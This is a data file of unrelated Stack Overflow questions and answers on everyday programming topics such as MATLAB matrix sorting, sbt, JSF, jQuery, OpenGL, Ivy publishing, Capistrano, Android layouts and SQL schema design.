13998098	0	MATLAB - Sort a matrix based off how a vector is sorted <blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/134712/how-can-i-sort-a-2-d-array-in-matlab-with-respect-to-one-column">How can I sort a 2-D array in MATLAB with respect to one column?</a><br> <a href="http://stackoverflow.com/questions/2679022/sort-a-matrix-with-another-matrix">Sort a matrix with another matrix</a> </p> </blockquote> <p>I have a vector 'A' of 429 values and a matrix 'B' of 429x200 values. Rows in A and B are share the same indices. My vector 'A' contains values 1:1:429 but they are randomly ordered throughout the vector. I want to reorder A so that it indexes in order from 1 to 429 and I also want to sort the rows in matrix 'B' in the same order as the newly sorted 'A'.</p> <p>Can this be done quick and easy without a for-loop?</p> <p>Here's an example to illustrate my point:</p> <pre><code>A = 5 3 1 2 4 B = 3 7 0 4 6 1 2 5 0 8 4 0 2 0 0 3 0 1 0 5 2 2 3 4 4 sortedA = 1 2 3 4 5 sortedB = 4 0 2 0 0 3 0 1 0 5 1 2 5 0 8 2 2 3 4 4 3 7 0 4 6 </code></pre> <p>Thank you everyone!</p>
14125701	0	 <p><code>&lt;+=</code> really is for appending to a "collection" setting, I don't think it is supported for string concatenation. Plus in your second attempt you are both trying to concatenate via an assignment operator (<code>&lt;+=</code>) <strong>and</strong> concatenating by hand using the <code>+</code> operator, which is certainly not what you intended. just Replace <code>&lt;+=</code> with <code>&lt;&lt;=</code> and it should make sbt happy.</p> <pre><code>unmanagedJars in Compile &lt;&lt;= javaHome map { jh =&gt; jh + "/jre/lib/jfxrt.jar" } </code></pre> <p><strong>UPDATE</strong>: Turns out I misread your post and was completly wrong. You were right to use <code>&lt;+=</code> to append to unamanagedJar, and the use of <code>+</code> was there just to create an absolute file path. Sorry a bout that. This time I acutally tried to fix it with sbt at hand, and managed to make it compile. I didn't actually test it against a real project though, I'll let you try it and report if it works as expected.</p> <pre><code>unmanagedJars in Compile &lt;+= javaHome map { jh =&gt; Attributed.blank( new File( jh.getOrElse(sys.error("Error, could not get java home")),"jre/lib/jfxrt.jar" ) ) } </code></pre> <p>This is clearly not very nice though, there might be some helper somewhere to make it more readable.</p>
28933893	0	 <p>Use the <code>increaseFill</code> and <code>decreaseFill</code>. If you need to change the colors for different data points, there are datasource methods to provide different fills for each data index.</p>
3635013	0	Add a row to h:dataTable via AJAX with request-scoped bean without losing the row data <p>I think the title tells it all: I want to add a row to dataTable over AJAX. The datatable has input fields where user can put text. As simple as that, a pretty common case.</p> <p>With session-scoped bean this no issue, as the same bean is updated over and over again. However, I want to do this in request scope. For each request, I guess I want to create a new bean and to populate it with the values from my form. Then I want my <code>commandButton</code>'s <code>action</code> to add a new row, finally render the <code>dataTable</code> over AJAX as usual.</p> <p>The issue is that I don't know how to make JSF fill the newly-created request-bean with the current data from the dataTable component?</p> <p>There was <a href="http://stackoverflow.com/questions/2278353/how-to-dynamically-add-a-row-in-a-table-in-jsf">a similar question</a> asked and <a href="http://stackoverflow.com/questions/2278353/how-to-dynamically-add-a-row-in-a-table-in-jsf/2280157#2280157">answered</a>. However, that solution seems to reload the contents of the dataTable each time it is refreshed and manually inserts empty elements for the newly-inserted rows like this:</p> <pre><code>// Preserve list with newly added items. ror (int i = 0; i &lt; (Integer) count.getValue(); i++) { list.add(new Item()); } </code></pre> <p>To me, it seems that this approach also wipes the possible changes that the user did to rows (new and old)... if he doesn't first save them.</p> <p>Any pointers?</p>
36249651	0	 <p>Simplest way to split array into chunks is <code>array_chunk</code>:</p> <pre><code>$farmland = array("Duck","Fox","Goose","Cow","Cat","Rabbit","Bull","Mouse","Sheep","Goat"); $chunks = array_chunk($farmland, 5); // get chunks with size of 5 print_r($chunks); </code></pre>
24058310	0	 <p>The scope of <code>count</code> is just the single child you are processing. Move it to a higher scope:</p> <pre><code>$(xml).find('parent').each(function () { var body = $('body').addClass('nobg'); var count = 1; $(xml).find('child').each(function() { if ($(this).attr('title') &gt; '') { var title = $('&lt;p&gt;&lt;/p&gt;').appendTo(body); headline.attr('id'), (count++)); } }) }) </code></pre> <p>Also, to be on the safe side, I would replace <code>count++</code> with <code>++count</code> as you need it to increment before it is used. This is pure readability, though, in your case.</p>
15528432	0	 <p>Liferay is very buggy, and community is very bad. Unless you pay the support.</p> <p>GateIn promises much, but still lacks functionality.</p>
19586636	0	 <p><a href="https://github.com/sshwsfc/django-xadmin" rel="nofollow noreferrer">django-xadmin</a> has this feature:</p> <p><img src="https://i.stack.imgur.com/cK5Jr.png" alt="django x-admin dynamic columns"></p> <p>It has some other cool features too, but I haven't started using it because the English translation of the documentation hasn't been released yet (as of Oct '13). You could look at the source code to give you some ideas.</p> <p>Check out the <a href="http://demo.xadmin.io" rel="nofollow noreferrer">live demo</a></p> <p>User: admin Password: admin</p> <p>Note: I have no involvement in x-admin, I just have the same question as the OP.</p>
35061221	0	 <p>You need to concatenate: </p> <pre><code>url: "productsType.php?id="+data, </code></pre> <p>or you can use <code>data:{}</code> option of ajax: </p> <pre><code>url: "productsType.php", data:{id:data} </code></pre>
7213456	0	 <p>Try this:</p> <p>1) when pushing login view, set some flag in MainViewController</p> <p>2) in method <em>viewWillAppear</em> in MainViewController check that flag from 1). If it is set then load the initial data and unset flag. Otherwise push LoginView.</p>
8557490	0	redirect to a different url <p>I have one application where i have three jsp pages, from index.jsp , control goes to process.jsp and after execution control goes to result.jsp to display data. But i want that instead of displaying data in result.jsp, control will go to another url so that that receiver url will get the requested data. that is: my url is 100.20.3.45:8085/myproject/index.jsp then after processing data i want that result should go to a different url of my same network i.e. <code>100.20.3.46</code>. How can I send the requested data to this different url?</p> <p>Ex:</p> <pre><code>100.20.3.45:8085/myproject/index.jsp </code></pre> <p>goes to </p> <pre><code>100.20.3.45.8085/myproject/process.jsp </code></pre> <p>after processing control will go to <code>100.20.3.46</code>.</p> <p>How can I send this data to a different url? what is this mechanism called?</p>
11205657	0	 <p>I solved it now on my own by updating some <code>mesa</code> concerning packages. I'm running debian stable with those following packages from backports:</p> <blockquote> <p>initramfs-tools, libdrm-intel1, libgl1-mesa-dev, libgl1-mesa-dri, libgl1-mesa-glx, linux-base, linux-headers-3.2.0-0.bpo.1-all-amd64, linux-headers-3.2.0-0.bpo.1-amd64, linux-headers-3.2.0-0.bpo.1-common, linux-headers-3.2.0-0.bpo.1-common-rt, linux-headers-3.2.0-0.bpo.1-rt-amd64, linux-headers-3.2.0-0.bpo.2-all-amd64, linux-headers-3.2.0-0.bpo.2-amd64, linux-headers-3.2.0-0.bpo.2-common, linux-headers-3.2.0-0.bpo.2-common-rt, linux-headers-3.2.0-0.bpo.2-rt-amd64, linux-image-3.2.0-0.bpo.2-amd64, linux-kbuild-3.2, mesa-common-dev</p> </blockquote> <p>Hoping this info will help other, too.</p>
3056997	0	 <p>My vote would be for XStream. The lack of generics support is a small price to pay for the amount of flexibility it offers. You can also easily implement generics by serializing the generic class type at serialization time, or build this into your domain objects. E.g.</p> <pre><code> class Customer { List&lt;Order&gt; orders; public List&lt;Order&gt; getOrders() { return orders; } } </code></pre> <p>In the stream, the element type denotes the type of each object. When the type is an abstract type or interface, the element listed with the implementing class, unless that has been specified as the default for that interface type. (E.g. ArrayList as the default for instances of static type List.)</p> <p>Generics are "rose coloured glasses" in java - they don't really change what you are seeing, just how you see it. The objects would be sent over the wire exactly the same if they were sent with generics support or not.</p>
2558935	0	 <p>Picking mode is not available in openGL ES. But it's easy to calculate the screen coordinate of any 3d point using the projection matrix retrieved from current openGL state. Here is how I do it (IMPoint2D and IMPoint3D are basic (x,y) and (x,y,z) structures)</p> <pre><code>+ (IMPoint2D) getScreenCoorOfPoint:(IMPoint3D)_point3D { GLfloat p[16]; // Where The 16 Doubles Of The Projection Matrix Are To Be Stored glGetFloatv(GL_PROJECTION_MATRIX, p); // Retrieve The Projection Matrix /* Multiply M * point */ GLfloat _p[] = {p[0]*_point3D.x +p[4]*_point3D.y +p[8]*_point3D.z + p[12], p[1]*_point3D.x +p[5]*_point3D.y +p[9]*_point3D.z + p[13], p[2]*_point3D.x +p[6]*_point3D.y +p[10]*_point3D.z+ p[14], p[3]*_point3D.x +p[7]*_point3D.y +p[11]*_point3D.z+ p[15]}; /* divide by scale factor */ IMPoint2D _p2D = {_p[0]/_p[3], _p[1]/_p[3]}; /* get result in screen coordinates. In this case I'm in landscape mode */ return (IMPoint2D) {_p2D.x*240.0f + 240.0f, (1.0f - _p2D.y) *160.0f}; } </code></pre>
1308918	0	 <p>I'd use the MovieClipLoader because it's got better event handling when you'd like to assign traits to a MovieClip (or image in this case) after it's loaded.</p> <p><em>This code is not tested. Nor is this code complete!</em> It's just to give you the idea. You'll notice some comments in there where I'm telling you that you'll have to layout your images yourself. That is to say you're going to have to account for the sizes of your images and adjust each one's _x and _y after it's loaded.</p> <p>Another thing, this isn't going to work very well when you CTRL + ENTER to test in the Flash IDE because it's using root relative urls for your images and links. Since the Flash IDE isn't running on a web server, it won't be able to find your images! You may want to use a special test XML file while debugging in the Flash IDE.</p> <p>Also, be sure to have a root node in your XML. It's just plain bad XML to have no root node.</p> <p><strong>XML</strong></p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;root&gt; &lt;myImage&gt; &lt;imagePath&gt;/flash/image1.jpg&lt;/imagePath&gt; &lt;imageurl&gt;/flash/image1.html&lt;/imageurl&gt; &lt;/myImage&gt; &lt;myImage&gt; &lt;imagePath&gt;/flash/image2.jpg&lt;/imagePath&gt; &lt;imageurl&gt;/flash/image2.html&lt;/imageurl&gt; &lt;/myImage&gt; &lt;myImage&gt; &lt;imagePath&gt;/flash/image3.jpg&lt;/imagePath&gt; &lt;imageurl&gt;/flash/image3.html&lt;/imageurl&gt; &lt;/myImage&gt; &lt;/root&gt; </code></pre> <p><strong>Actionscript (frame 1):</strong></p> <pre><code>var xmlData:XML = new XML(); xmlData.ignoreWhite = true; xmlData.onLoad = function(loaded) { if (loaded) { for(var i = 0; i &lt; this.firstChild.childNodes.length; i++) { var mc:MovieClip = _root.createEmptyMovieClip("item" + i, _root.getNextHighestDepth()); var node:XMLNode = this.firstChild.childNodes[i]; loadMovieClip(mc, node); } } else { trace("file not loaded!"); } }; xmlData.load("/flash/languages.xml"); function loadMovieClip(mc:MovieClip, node:XMLNode) { var loadListener:Object = new Object(); loadListener.onLoadInit = function(target:MovieClip, httpStatus:Number) { //Be sure to do your positioning here!!! You probably // don't want to stack them on top of each other. // I didn't do that so you'll have to do it yourself. target._x = 30; target._y = 30; var url = node.childNodes[1].firstChild.nodeValue; target.onMouseUp = function() { getURL(url); } //be sure to do positioning of your text field too. var txt:TextField = _root.createTextField(target._name + "_text", _root.getNextHighestDepth(), 30, 100, 100, 20); txt.text = url; txt.type = "static"; txt.onMouseUp = function() { getURL(url); } } var mcl:MovieClipLoader = new MovieClipLoader(); mcl.addListener(loadListener); mcl.loadClip(node.childNodes[0].firstChild.nodeValue, mc); } </code></pre> <p>I hope that helps.</p>
21042895	0	 <p></p> <pre><code>function cellB2EqualToA(e) { var sheet = e.source.getActiveSheet(); var range = e.source.getActiveRange(); var rangeA1 = range.getA1Notation(); var value = sheet.getRange(rangeA1).getValue(); if(value != 'A' &amp;&amp; rangeA1 != 'B2'){ return; }else{ //do what you need to do }; } </code></pre>
31155310	0	How to publish artifacts to Artifactory with different names? <p>i am using Apache Ant with Ivy to publish artifacts to Artifactory-Server. The way i do this is to generate a pom-File from ivy.xml. However with different names for modules and artifacts. If i retrieve the artifacts from server only the artifacts with the same names are downloaded.</p> <p>ivy.xml:</p> <pre><code>&lt;?xml version="1.0" encoding="ISO-8859-1"?&gt; &lt;ivy-module version="2.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://ant.apache.org/ivy/schemas/ivy.xsd"&gt; &lt;info organisation="com.ibm" module="db2_driver" revision="4.19.26"/&gt; &lt;publications&gt; &lt;artifact name="db2jcc4_license_cisuz" type="jar" conf="default" ext="jar" /&gt; &lt;artifact name="db2jcc4" type="jar" conf="default" ext="jar" /&gt; &lt;artifact name="db2_driver" type="pom" conf="default" ext="pom" /&gt; &lt;/publications&gt; &lt;/ivy-module&gt; </code></pre> <p>build.xml:</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;project name="IVY_TEST" default="ivypom" basedir="." xmlns:ivy="antlib:org.apache.ivy.ant"&gt; &lt;property file="build.properties" /&gt; &lt;!- defines ${artifact.path} --&gt; &lt;target name="ivypom" &gt; &lt;ivy:makepom ivyfile="${artifact.path}/ivy.xml" pomfile="${artifact.path}/db2_driver.pom" &gt; &lt;mapping conf="*" scope="*" /&gt; &lt;/ivy:makepom&gt; &lt;ivy:publish resolver="main" module="[ivy.module]" revision="4.19.26" organisation="[ivy.organisation]" overwrite="true"&gt; &lt;artifacts pattern="${artifact.path}/[artifact].[ext]" /&gt; &lt;/ivy:publish&gt; &lt;/target&gt; &lt;/project&gt; </code></pre> <p>The Upload is succesfully...</p> <p>That's the result (Artifactory Browser):</p> <pre><code>- db2_driver - 4.14.22 - 4.19.26 - db2_driver-4.19.26.pom - db2jcc4-4.19.26.jar - db2jcc4_license_cisuz-4.19.26.jar - ivy-4.19.26.xml </code></pre> <p>generated pom-File:</p> <pre><code>&lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt; &lt;groupId&gt;com.ibm&lt;/groupId&gt; &lt;artifactId&gt;db2_driver&lt;/artifactId&gt; &lt;packaging&gt;pom&lt;/packaging&gt; &lt;version&gt;4.19.26&lt;/version&gt; </code></pre> <p>Now I want to use the driver. </p> <p>The needed ivy.xml for the application:</p> <pre><code>&lt;?xml version="1.0" encoding="ISO-8859-1"?&gt; &lt;ivy-module version="2.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://ant.apache.org/ivy/schemas/ivy.xsd"&gt; &lt;info organisation="de.xxx" module="main_steuerprogramm" revision="1.0.0"/&gt; &lt;configurations&gt; &lt;conf name="default" description="Standard Konfiguration" /&gt; &lt;/configurations&gt; &lt;dependencies&gt; &lt;dependency org="com.ibm" name="db2_driver" rev="4.19.26"/&gt; &lt;/dependencies&gt; &lt;/ivy-module&gt; </code></pre> <p>But it don't work. How can I retrieve the jars?</p> <p>There are three good answers... </p> <ul> <li><p><a href="http://stackoverflow.com/questions/9426011/convert-ivy-xml-to-pom-xml/9429286#9429286">Convert ivy.xml to pom.xml</a></p></li> <li><p><a href="http://stackoverflow.com/questions/5111831/how-to-publish-3rdparty-artifacts-with-ivy-and-nexus/5115447#5115447">how to publish 3rdparty artifacts with ivy and nexus</a></p></li> <li><p><a href="http://stackoverflow.com/questions/6942989/ivy-cant-download-because-pom-file-and-the-jar-file-name-arent-matching-patt/6949758#6949758">Ivy - Can&#39;t download because POM file and the JAR file name aren&#39;t matching patterns</a></p></li> </ul> <p>But in my case the name of the artifacts are different to module name. That's the difficulty.</p> <p>Please help.</p>
31929754	0	 <p>I found a solution, so I'll post it here for the public:</p> <ol> <li><p>In the <code>init()</code> function, need to add:</p> <p><code>glEnable(GL_DEPTH_TEST);</code></p></li> <li><p>In the painting function, in the <code>glClear()</code> call, add <code>" | GL_DEPTH_BUFFER_BIT"</code>:</p> <p><code>glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);</code></p></li> <li><p>In the <code>main()</code> function, in the<code>glutInitDisplayMode()</code> call, add <code>" | GLUT_DEPTH"</code>:</p> <p><code>glutInitDisplayMode(GLUT_SINGLE | GLUT_RGB | GLUT_DEPTH);</code></p></li> </ol>
35690340	0	 <p>Turns out this is was a symptom of not handling exceptions. </p> <p>See the <a href="http://stackoverflow.com/questions/23219614/why-gcc-4-1-gcov-reports-100-branch-coverage-and-newer-4-4-4-6-4-8-report/23344292#23344292">related post</a> for a quick fix my turning on -fno-exceptions when compiling.</p>
31733411	0	Android: Using 9patch to create a frame around an imageview <p>I've been trying to create a frame around my imageview using a picture of a wooden frame. I turned the woodenframe picture into a 9patch and its still not wrapping around the imageview.</p> <pre><code>&lt;RelativeLayout android:id="@+id/ChosenPic" android:layout_width="match_parent" android:layout_height="50dp" android:layout_weight="3" android:orientation="vertical" android:padding="10dp" &gt; &lt;ImageView android:id="@+id/imageView1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_gravity="center" android:baselineAlignBottom="true" android:src="@drawable/ic_launcher" /&gt; &lt;ImageView android:id="@+id/ImageView02" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_gravity="fill_vertical|fill_horizontal" android:scaleType="fitXY" android:src="@drawable/woodenframe" &gt; &lt;/ImageView&gt; &lt;/RelativeLayout&gt; </code></pre> <p><a href="https://i.stack.imgur.com/3bgVH.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/3bgVH.jpg" alt="enter image description here"></a></p> <p>So this is the ninepatch and i want it to fit around a picture of my choosing no matter the size.</p> <p>EDIT:</p> <p>This is what i want: <a href="https://lh3.googleusercontent.com/1n_lKanRLjBPkXBr79vES3v3IwR20u5SDvQnbFztb7VOOFRlru6SRTX3RvNsp5PI2w=h900-rw" rel="nofollow noreferrer">https://lh3.googleusercontent.com/1n_lKanRLjBPkXBr79vES3v3IwR20u5SDvQnbFztb7VOOFRlru6SRTX3RvNsp5PI2w=h900-rw</a></p>
13734250	0	Node.js - single app code, multiple runs with custom settings <p>I'm going to start software as service app in Node.js. Is there any way to have one source code and many app instances? I wanna develop and commit just one repo, that changes will be visible in all of app instances? Of course user can set own config like database and vhost. User files will be stored in his file system directory mounted to the vhost. Where will be his /her public files as images or download added from CMS.</p> <p>Best, Mark.</p>
16533791	0	 <p>Here's a better way to do this using MODX inbuilt functionality. </p> <p>Create a plugin that fires on OnPageNotFound and parses the 'not found' url (sitio.com/blog/tag/tecnology) into the format you're expecting (sitio.com/blog/tag.html?tag=tecnology). If the parsed format matches an existing MODX resource you can then redirect to it.</p> <p><a href="http://forums.modx.com/index.php/topic,41502.msg249684.html#msg249684" rel="nofollow">http://forums.modx.com/index.php/topic,41502.msg249684.html#msg249684</a></p>
1508463	0	Integration between Project Web Access and SharePoint (Gantt Charts) <p>I'm a newbie to using Project Web Access and I wondered if someone can guide me by giving links that help in integration of SharePoint site with Project Web Access.</p> <p>What I want to do is to generate Gantt charts inside a regular SharePoint site. I know that there is a standard view to generate charts in SharePoint but I need the more customizable view in Project Web Access.</p>
10414509	0	 <pre><code>let exists k l = List.fold_left (fun b x -&gt; b || x = k) false l </code></pre> <p>Two comments on @tonio's answer:</p> <ul> <li>Use <code>||</code> instead of superfluous <code>if ... then true else ...</code>.</li> <li>Use structural equality (<code>=</code>) instead of reference equality (<code>==</code>) for comparing values.</li> </ul> <p>Moreover, <code>exists</code> is available in <a href="http://caml.inria.fr/pub/docs/manual-ocaml/libref/List.html" rel="nofollow">List module</a>. The built-in function is more efficient since it doesn't have to go through the whole list every time.</p>
11301960	0	 <p>Using one floated span with a border:</p> <pre><code>&lt;div class="heading"&gt; &lt;span&gt;&lt;/span&gt; &lt;h3&gt;Heading&lt;h3&gt; &lt;/div&gt; .heading { width: 100%; text-align: center; line-height: 100%; } .heading span { float: left; margin: 20px 0 -8px; border: 1px solid; width: 100%; } .heading h3 { display: inline; padding: 0px 0px 0 20px; width: auto; margin: auto; } </code></pre> <p>The negative base margin on the span may need to be adjusted for different heading sizes. , The background colour of the heading should match the background of the overall container.</p> <p><a href="http://jsfiddle.net/QVUKJ/" rel="nofollow">JS Fiddle demo</a></p>
20933990	0	Best performance for SQL DB design? <p>I have a question about DB design and performance.</p> <p>Imagine the following scenario:</p> <p>I have a <code>Product</code> table, each record of products might have different color, different weight and different type. when I want to design my database I have have 2 ways:</p> <ol> <li><p>I can design 3 tables, a <code>Productcolor</code> table with <code>ProductID</code> and <code>Color</code> columns, then one for <code>ProductSize</code> with <code>ProductID</code>, weight columns, and a <code>ProductType</code> table with <code>ProductID</code> and <code>Type</code>. And repeat one product with different colors, wights and types. and use join to have total properties.</p></li> <li><p>I can have color, weight, type columns in <code>Product</code> table and separate different values by a separator like ",". </p></li> </ol> <p>I have some tables like this one, now i want to know is there any better solution for such a scenario? if not which one has better performance in sql and even in my asp.net project?</p>
8218801	0	 <p>You should move the time logic into your database query - there's no point in fetching ALL rows, only to throw away some (most? all?) of the rows if there's nothing to do:</p> <pre><code>SELECT * FROM users WHERE `time` &lt; (now() - INTERVAL 3 DAY) </code></pre> <p>Once that's done, I'd suggest moving the actual mail() portion out of the database fetching loop, so that you can batch together each user's brochures first:</p> <pre><code>$users = array(); while($row = mysql_fetch_array($time_query_result)) { if (!array_key_exists($row['userID'], $users)) { $users[$row['userID']] = array('email' =&gt; $row['email'], 'brochures' =&gt; array()); $users[$row['userID']]['brochures'] = array('b' =&gt; $row['brochures'], 't' =&gt; $row['time']); } } </code></pre> <p>You'd then loop over this $users array to build emails for the users:</p> <pre><code>foreach ($users as $user) { $text = '&lt;html&gt;&lt;body&gt;&lt;p&gt;Brochure reminder&lt;/p&gt;'; $i = 1; foreach ($user['brochures'] as $brochure) { $text .= 'Brochures:&lt;br /&gt;'.$i++ .$row['b']. $row['b']; } $text .= '&lt;/body&gt;&lt;/html&gt;'; mail($user['email'], $subject, $text, $headers); } </code></pre> <p>This way, you fetch all the user details in one go. You then build a SINGLE email to each user, listing all of their brochures, and (hopefully) problem solved.</p>
9315111	0	 <pre><code>SELECT ca.CustomerName AS [Affected Users] FROM CustomerActivity ca INNER JOIN ShipperActivity sa ON ca.OrderNumber = sa.OrderNumber WHERE sa.ActivityDate &gt;= '2012-02-15 00:00:00' AND sa.ActivityDate &lt; '2012-02-16 00:00:00' UNION SELECT ea.EmployeeName AS [Affected Users] FROM EmployeeActivity ea INNER JOIN ShipperActivity sa ON ea.OrderNumber = sa.OrderNumber WHERE sa.ActivityDate &gt;= '2012-02-15 00:00:00' AND sa.ActivityDate &lt; '2012-02-16 00:00:00' </code></pre>
14646255	0	 <p>Pointers and arrays can be accessed just the same.</p> <p>For example:</p> <pre><code>int array[4] = { 1, 2, 3, 4 }; printf("Third entry in array = %d\n", array[2]); int *pointer = array; printf("Third entry in array using pointer = %d\n", pointer[2]); </code></pre> <p>If the pointer is in a structure or not doesn't matter, just use normal field access (e.g. <code>structure.pointer[2]</code> or <code>structpointer-&gt;pointer[2]</code>).</p>
37990312	0	App consumes a lot of memory after integrating advertisement <p>With no advertisement integration in my project my app uses a maximum of 18MB of memory. After integrating AdMob and iAd my app now uses memory up to 60MB.</p>
17366497	0	how to run bundle install without quiet flag <p>When deploying an app with capistrano to a VPS, my deployment script is running bundle install with a quiet flag. Is there a way to make it run without the quiet flag. There's nothing in the deploy.rb file (borrowed from Ryan Bates) that seems to set it to quiet. </p> <pre><code>command finished in 161ms * 2013-06-27 12:57:07 executing `bundle:install' * executing "cd /home/brain/apps/dogapp/releases/2013044444 &amp;&amp; bundle install --gemfile /home/brain/apps/dogapp/releases/2013044444/Gemfile --path /home/brain/apps/dogapp/shared/bundle --deployment --quiet --without development test" </code></pre> <p>Deploy.rb</p> <pre><code>require "bundler/capistrano" server "198.69.696969.69", :web, :app, :db, primary: true set :application, "dogapp" set :user, "brain" set :deploy_to, "/home/#{user}/apps/#{application}" set :deploy_via, :remote_cache set :use_sudo, false set :scm, "git" set :repository, "git@github.com:braindead/dogapp.git" set :branch, "master" default_run_options[:pty] = true ssh_options[:forward_agent] = true after "deploy", "deploy:cleanup" # keep only the last 5 releases namespace :deploy do %w[start stop restart].each do |command| desc "#{command} unicorn server" task command, roles: :app, except: {no_release: true} do run "/etc/init.d/unicorn_#{application} #{command}" end end task :setup_config, roles: :app do sudo "ln -nfs #{current_path}/config/nginx.conf /etc/nginx/sites-enabled/#{application}" sudo "ln -nfs #{current_path}/config/unicorn_init.sh /etc/init.d/unicorn_#{application}" run "mkdir -p #{shared_path}/config" put File.read("config/database.example.yml"), "#{shared_path}/config/database.yml" puts "Now edit the config files in #{shared_path}." end after "deploy:setup", "deploy:setup_config" task :symlink_config, roles: :app do run "ln -nfs #{shared_path}/config/database.yml #{release_path}/config/database.yml" end after "deploy:finalize_update", "deploy:symlink_config" desc "Make sure local git is in sync with remote." task :check_revision, roles: :web do unless `git rev-parse HEAD` == `git rev-parse origin/master` puts "WARNING: HEAD is not the same as origin/master" puts "Run `git push` to sync changes." exit end end before "deploy", "deploy:check_revision" end </code></pre>
34399776	0	Laravel 4.2 custom error handler not working <p>I am trying to handle InvalidArgumentException in a custom way. In app/start/global.php I have the following code block after the built in <code>App::error(Exception $exception... block</code>:</p> <pre><code>App::error(function(InvalidArgumentException $exception, $code){ // die('last'); $exceptionData['exception'] = $exception; $exceptionData['code'] = $code; ExceptionNotificationHandlerController::notify($exceptionData); }); </code></pre> <p>die()ing, breakpoints, etc all suggest to me that it never goes into that block of code when I throw an InvalidArgumentException. Help?</p>
26220857	0	 <p>You could add one event handler for each container you actually want to receive the event in (if this is feasable in your setup):</p> <p>(somewhere:)</p> <pre><code>(function() { var container = document.getElementById('mainwrap'); container.addEventListener('click',handler,false); function handler(e) { e = e || window.event; var element = e.target || e.srcElement; console.log("Element actually clicked: ", element); console.log("Container receiving event: ", container); } })(); </code></pre> <p>Or expand to (can register handler for multiple containers..):</p> <pre><code>function registerHandlerForContainer(container_id, handler) { var container = document.getElementById(container_id); container.addEventListener('click',delegating_handler,false); function delegating_handler(e) { handler(container, e); } } function handler(container, e) { e = e || window.event; var element = e.target || e.srcElement; console.log("Element actually clicked: ", element); console.log("Container receiving event: ", container); } registerHandlerForContainer('mainwrap', handler); </code></pre>
12064456	0	 <p>This seemed to worked for me:</p> <pre><code> string schemaXPath = "//parent[@name='Iam']//toy[@name='wii']"; XPathNavigator schemaNavigator = oXmlDocument.CreateNavigator(); XPathNodeIterator nodeIter = schemaNavigator.Select(schemaXPath, namespaceMgr); while (nodeIter.MoveNext() == true) { Console.WriteLine(nodeIter.Current.Name); } </code></pre> <p>Hopefully this is what you're looking for.</p> <p>Cheers!</p>
41030439	0	Matrix multiplication performance improvment <p>I have got some unclear questions for the following matrix multiplication algorithm.</p> <p><a href="https://i.stack.imgur.com/oNiQF.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/oNiQF.png" alt="enter image description here"></a></p> <p>1) Why does the inner for-loop (line 6) do not use a “parallel for” construct?</p> <p>2) Can we further improve the performance of the inner loop computation (lines 6-7) by some form of parallelism?</p>
17909934	0	 <p>Please refer to <code>Handling Dynamic Nesting Attributes</code> section in <a href="https://github.com/RestKit/RestKit/wiki/Object-mapping" rel="nofollow">Restkit ObjectMapping</a></p>
17145193	0	How to let a specific android device (fonepad) use different layout folder <p>I'm working on an Android app that has different layouts for phones (designed for portrait) and for tablets (designed for landscape).</p> <p>Now I want to support the Asus Fonepad as a phone but since it has the size and resolution of a 7 inch tablet it always uses the layouts in the layout-sw600dp folder. But the fonepad understands itself as a phone and shows the fullscreen text edit window whenever text input is used in landscape.</p> <p>How can I make this device use layouts and values from the phones and not from the -sw600dp folders? Is this even possible?</p>
2200425	0	 <p>While dynamic programming is certainly a correct way to solve this kind of problems, this particular instance shows a regularity that can be exploited. </p> <p>You can see the problem as arranging a number of “right"s and “down"s, being wary not to count multiple times identical arrangements.<br> For example, the solutions of the size 2 problem (reported in the images in the question) can be see this way:</p> <pre><code>→→↓↓ →↓→↓ →↓↓→ ↓→→↓ ↓→↓→ ↓↓→→ </code></pre> <p>So, for any grid of side n, you can find the solution by means of <a href="http://en.wikipedia.org/wiki/Combinatorics" rel="nofollow noreferrer">combinatorics</a>:</p> <pre><code>from math import factorial n = 20 print factorial(2*n)/(factorial(n)*factorial(n)) </code></pre> <p>2n! is the number of arrangements of the 20 → + 20↓, while the two n! account for the identical ways in which the → and ↓ can be arranged. </p>
6063951	0	 <p>We like <a href="http://balsamiq.com/">http://balsamiq.com/</a> for building wire frames. It is very fast. </p>
36052505	0	 <p>In standard css this would be: </p> <pre><code>button button </code></pre> <p>But you have to be careful on other pages it can also select 3rd, 4th and so on.</p> <p>That is to say, there is no ordinality in standard css - only classes and id's and their hierarchy level (parent/child) relationships, unlike xpath.</p>
19275922	0	 <p>I've looked at your code, and I think the problem is that you're outputting the cert in raw binary DER format using certificate.getEncoded() when the browser expects PKCS #12 format. I've never done this programatically, I've always used keytool or openssl to convert between formats so I can't help more than that.</p> <p>eta: this explains how to create, sign and export a PKCS12 in java: <a href="http://www.mayrhofer.eu.org/create-x509-certs-in-java" rel="nofollow">http://www.mayrhofer.eu.org/create-x509-certs-in-java</a> (note: it's an old post and requires bouncycastle and a bit of hacking :( - a modern version of bouncycastle may simply provide this functionality)</p>
39556981	0	Angular Polymer Binding for Number Datatype is not working in Chrome <p>I have created a Polymer Component and the one of the properties created has Number Datatype. This works in all the browser except Google Chrome.(I have included webcomponents-lite.js). In Chrome it gives NaN </p> <pre><code>notificationCount:{ type: Number, notify: true, reflectToAttribute: true } &lt;ng-portal-header-component bind-polymer show-menu='{{vm.showMenu}}' app-name="PORTAL " notification-count="{{vm.notificationCount}}"&gt; &lt;/ng-portal-header-component&gt; </code></pre>
